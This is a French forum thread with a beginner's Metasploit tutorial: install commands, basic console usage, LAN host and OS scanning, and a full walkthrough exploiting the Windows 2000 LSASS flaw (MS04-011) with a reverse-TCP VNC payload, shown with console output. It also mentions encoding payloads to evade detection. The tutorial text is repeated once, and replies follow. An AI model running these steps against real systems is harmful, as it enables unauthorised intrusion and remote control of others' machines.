Metasploit, les bases et exploitation
Bonjour tous le monde, dans ce tutoriel on va apprendre comment utiliser Metasploit ! avec exemple d'exploitation d'une faille
Bien sûr, il y a un début à tout, donc je vous ferai une petite introduction.
I - Introduction
Alors comme certains le savent déjà, Metasploit était un projet Open Source basé sur la sécurité informatique censé fournir des informations sur les différentes vulnérabilités, et aidant à la pénétration des systèmes informatiques, cependant il y avait un sous-projet connu sous le nom de Metasploit Framework un outil pour le développement et l'exécution d'exploits contre une machine distante.
Voici le lien pour télécharger Metasploit : http://metasploit.com/download/
/!\
Pour ceux qui ne savent pas installer Metasploit sur GNU/Linux:
/!\
Installation des dépendances sur une distribution Debian:
Installation des dépendances sur une distribution comme Fedora qui utilise des RPMs:
Pour exécuter Metasploit, on va dans le dossier d'installation et on tape:
II - Les étapes
Voici les étapes basiques que vous devez connaître pour la pénétration d'un système:
1 - On choisit l'exploit, on le configure et on vérifie si le système distant est vulnérable à cet exploit.
2 - On choisit un payload, on le configure ( c'est une sorte de code qui s’exécutera au moment ou l'on pénètre le système distant ).
3 - Encodage du payload, pour le rendre indétectable.
4 - Et bien sûr l’exécution de l'exploit
III - Les commandes de bases à connaître
use <chemin/vers/exploit> Sélection d'un exploit ou un auxiliaire
show options Affiche la liste des options.
show payloads Liste les payloads disponibles.
show exploits Liste les exploits disponibles.
set <variable> <valeur> permet d'attribuer une valeur à une variable, par exemple:
set RHOST 192.168.1.2 (Remote Host) Ip distante
set RPORT 85 (Remote Port) Port distant
show targets Liste les cibles
search <RealVNC> Recherche un exploit, ici on recherche un exploit pour RealVNC
Hint: L'autocompletion avec la touche TAB est disponible.
Exemples:
On va utiliser le module udp_sweep pour la découverte d'hôtes comme suit:
On lance avec la cmd run après avoir spécifié la plage d'IPs distantes avec set RHOSTS xxx.xxx.xxx.xxx/xxx
Ce qui vous donne les noms, adresses MACs de toutes les machines scannées.
Un autre exemple avec le module smb_version pour nous donner le nom du système installé sur l'hôte choisi:
Pour le deuxième hôte:
IV - Exemple d'exploitation
Dans cet exemple on exploitera une vulnérabilité du service LSASS dans Windows 2000 Pro pour charger une DLL dans laquelle est encapsulé un serveur VNC.
On ouvre une console Metasploit:
On va exploiter la vulnérabilité ms04_011_lsass:
On spécifie l'hôte distant:
Le payload à utiliser:
On configure le payload pour lui indiquer notre adresse IP:
On peut toujours consulter notre configuration:
On spécifie le port d'écoute LOCAL:
On spécifie la cible, par défaut c'est 0 ce qui signifie que c'est automatique
1: Windows 2000 English
2: Windows XP English
Donc nous on choisit 1
Enfin on lance l'exploit ! :heink:
Si tout a fonctionné correctement vous aurez normalement une fenêtre VNC pointant sur l'hôte distant
POWNED !
-----------------------------
Tutoriel écrit par Itcef.
Libre à vous d'en faire ce que vous voulez
Bien sûr, il y a un début à tout, donc je vous ferai une petite introduction.
I - Introduction
Alors comme certains le savent déjà, Metasploit était un projet Open Source basé sur la sécurité informatique censé fournir des informations sur les différentes vulnérabilités, et aidant à la pénétration des systèmes informatiques, cependant il y avait un sous-projet connu sous le nom de Metasploit Framework un outil pour le développement et l'exécution d'exploits contre une machine distante.
Voici le lien pour télécharger Metasploit : http://metasploit.com/download/
/!\
Pour ceux qui ne savent pas installer Metasploit sur GNU/Linux:
/!\
Installation des dépendances sur une distribution Debian:
Code :
sudo apt-get install build-essential subversion ruby libruby irb rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygems sqlite3 libsqlite3-ruby libsqlite3-dev
Installation des dépendances sur une distribution comme Fedora qui utilise des RPMs:
Code :
yum install subversion ruby ruby-libs ruby-devel ruby-irb ruby-rdoc readline rubygems ruby-sqlite3
Pour exécuter Metasploit, on va dans le dossier d'installation et on tape:
Code :
./msfconsole
II - Les étapes
Voici les étapes basiques que vous devez connaître pour la pénétration d'un système:
1 - On choisit l'exploit, on le configure et on vérifie si le système distant est vulnérable à cet exploit.
2 - On choisit un payload, on le configure ( c'est une sorte de code qui s’exécutera au moment ou l'on pénètre le système distant ).
3 - Encodage du payload, pour le rendre indétectable.
4 - Et bien sûr l’exécution de l'exploit
III - Les commandes de bases à connaître
use <chemin/vers/exploit> Sélection d'un exploit ou un auxiliaire
show options Affiche la liste des options.
show payloads Liste les payloads disponibles.
show exploits Liste les exploits disponibles.
set <variable> <valeur> permet d'attribuer une valeur à une variable, par exemple:
set RHOST 192.168.1.2 (Remote Host) Ip distante
set RPORT 85 (Remote Port) Port distant
show targets Liste les cibles
search <RealVNC> Recherche un exploit, ici on recherche un exploit pour RealVNC
Hint: L'autocompletion avec la touche TAB est disponible.
Exemples:
On va utiliser le module udp_sweep pour la découverte d'hôtes comme suit:
Code :
msf > use auxiliary/scanner/discovery/udp_sweep
msf auxiliary(udp_sweep) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(udp_sweep) > run
[*] Sending 10 probes to 192.168.1.0->192.168.1.255 (256 hosts)
[*] Discovered NetBIOS on 192.168.1.3:137(<Name>ITCEF<domain>ALLAH<MAC>xx:xx:xx:xx:xx:xx:xx)
[*] Discovered NetBIOS on 192.168.1.4:137(<Name>BIBA<domain>WTF<MAC>xx:xx:xx:xx:xx:xx:xx)
[*] Auxiliary module execution completed
On lance avec la cmd run après avoir spécifié la plage d'IPs distantes avec set RHOSTS xxx.xxx.xxx.xxx/xxx
Ce qui vous donne les noms, adresses MACs de toutes les machines scannées.
Un autre exemple avec le module smb_version pour nous donner le nom du système installé sur l'hôte choisi:
Code :
msf auxiliary(udp_sweep) > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 192.168.1.3
RHOSTS => 192.168.1.3
msf auxiliary(smb_version) > run
[*] 192.168.1.3:139 is running GNU/Linux Ubuntu 10.04 (language:English) (name:ITCEF) (domain:ALLAH)
[*] Auxiliary module execution completed
Pour le deuxième hôte:
Code :
msf auxiliary(udp_sweep) > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > set RHOSTS 192.168.1.4
RHOSTS => 192.168.1.4
msf auxiliary(smb_version) > run
[*] 192.168.1.4:139 is running Windows 2000 Pro (language:Unknown) (name:BIBA) (domain:WTF)
[*] Auxiliary module execution completed
IV - Exemple d'exploitation
Dans cet exemple on exploitera une vulnérabilité du service LSASS dans Windows 2000 Pro pour charger une DLL dans laquelle est encapsulé un serveur VNC.
On ouvre une console Metasploit:
Code :
./msfconsole
On va exploiter la vulnérabilité ms04_011_lsass:
Code :
msf > use exploit/windows/smb/ms04_011_lsass
On spécifie l'hôte distant:
Code :
msf exploit(ms04_011_lsass) > set RHOST 192.168.1.4
RHOST => 192.168.1.4
Le payload à utiliser:
Code :
msf exploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp
PAYLOAD => windows/vncinject/reverse_tcp
On configure le payload pour lui indiquer notre adresse IP:
Code :
msf exploit(ms04_011_lsass) > set LHOST 192.168.1.3
LHOST => 192.168.1.3
On peut toujours consulter notre configuration:
Code :
msf exploit(ms04_011_lsass) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.4 yes The target address
RPORT 445 yes Set the SMB service port
Payload options:
Name Current Setting Required Description
---- --------------- -------- -----------
AUTOVNC true yes Automatically launch VNC viewer if present
DLL C:/Documents and Settings/ yes The local path to the VNC DLL to sdamaye/Application Data/ upload
msf3/data/vncdll.dll
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.1.3 yes The local address
LPORT 4444 yes The local port
VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy
VNCPORT 5900 yes The local port to use for the VNC proxy
Exploit target:
Id Name
-- ----
0 Automatic Targetting
On spécifie le port d'écoute LOCAL:
Code :
msf exploit(ms04_011_lsass) > set LPORT 4321
LPORT => 4321
On spécifie la cible, par défaut c'est 0 ce qui signifie que c'est automatique
1: Windows 2000 English
2: Windows XP English
Donc nous on choisit 1
Code :
msf exploit(ms04_011_lsass) > set TARGET 1
TARGET => 1
Enfin on lance l'exploit ! :heink:
Code :
msf exploit(ms04_011_lsass) > exploit
[*] Started reverse handler
[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.4[\lsarpc]...
[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.4[\lsarpc]...
[*] Getting OS information...
[*] Trying to exploit Windows 5.0
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (327693 bytes)...
[*] Upload completed.
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
[*] VNC Server session 1 opened (192.168.1.3:4321 -> 192.168.1.4:1029)
[*] The DCERPC service did not reply to our request
Si tout a fonctionné correctement vous aurez normalement une fenêtre VNC pointant sur l'hôte distant
POWNED !
-----------------------------
Tutoriel écrit par Itcef.
Libre à vous d'en faire ce que vous voulez
CyberSee
Admin fondateur de N-PN Messages : 1,721 Sujets : 287 Points: 157 Inscription : Jan 2012 |
Metasploit les bases et exploitation
Bravo itcef :-)
Là tu mérites définitivement 20 de réputation de plus lol Bien jouer :-) |
S3TuP
Membre Messages : 39 Sujets : 2 Points: 2 Inscription : Feb 2012 |
RE: Metasploit les bases et exploitation
C'est un trés bon tutoriel ! Merci
|
Dobry
Tueur de lamouz Messages : 206 Sujets : 25 Points: 73 Inscription : Aug 2011 |
RE: Metasploit les bases et exploitation
Merci pour ce tutoriel, notamment sur le scan d'hosts que je ne connaissais pas.
Aestuārium Erudītiōnis
There are only two hard things in Computer Science: cache invalidation, naming things, and off-by-one errors.
|
kaligreycat
Newbie Messages : 3 Sujets : 1 Points: 0 Inscription : Jun 2014 |
RE: Metasploit, les bases et exploitation
Très bon tuto bien expliquez.
Merci beaucoup. |
The_Dark_Line
System.out.printf("Hello Word"); Messages : 10 Sujets : 2 Points: 3 Inscription : Sep 2014 |
RE: Metasploit, les bases et exploitation
Bonsoir,
Code : sudo apt-get install build-essential subversion ruby libruby irb rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygems sqlite3 libsqlite3-ruby libsqlite3-dev Je tient juste a signaler que cette commande d'installe ne marche plus ... J'ai quand même trouver msf sur 01.net mais pour les prochains ce serrai bien de changer la commande Bonne soirée |
supersnail
Éleveur d'ornithorynques Messages : 1,609 Sujets : 71 Points: 465 Inscription : Jan 2012 |
RE: Metasploit, les bases et exploitation
En même temps pour un tuto qui date de 3 ans, ça a le temps de changer
Malheureusement, on a pas d'armée de petits chinois qui traquent toutes les modifications de commande d'installation pour mettre à jour les tutos en conséquence, m'enfin si tu te proposes gentiment, why not :]
Mon blog
Code : push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp "VIM est merveilleux" © supersnail |
The_Dark_Line
System.out.printf("Hello Word"); Messages : 10 Sujets : 2 Points: 3 Inscription : Sep 2014 |
RE: Metasploit, les bases et exploitation
J'avais pas vu la date, mais effectivement
Et ça serais avec plaisir, mais je fais comment pour modifier sont post ? |
supersnail
Éleveur d'ornithorynques Messages : 1,609 Sujets : 71 Points: 465 Inscription : Jan 2012 |
RE: Metasploit, les bases et exploitation
Tu peux envoyer un MP à un admin avec la correction à effectuer par exemple
Mon blog
Code : push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp "VIM est merveilleux" © supersnail |
The_Dark_Line
System.out.printf("Hello Word"); Messages : 10 Sujets : 2 Points: 3 Inscription : Sep 2014 |
RE: Metasploit, les bases et exploitation
Mdr c'est pas con ça
|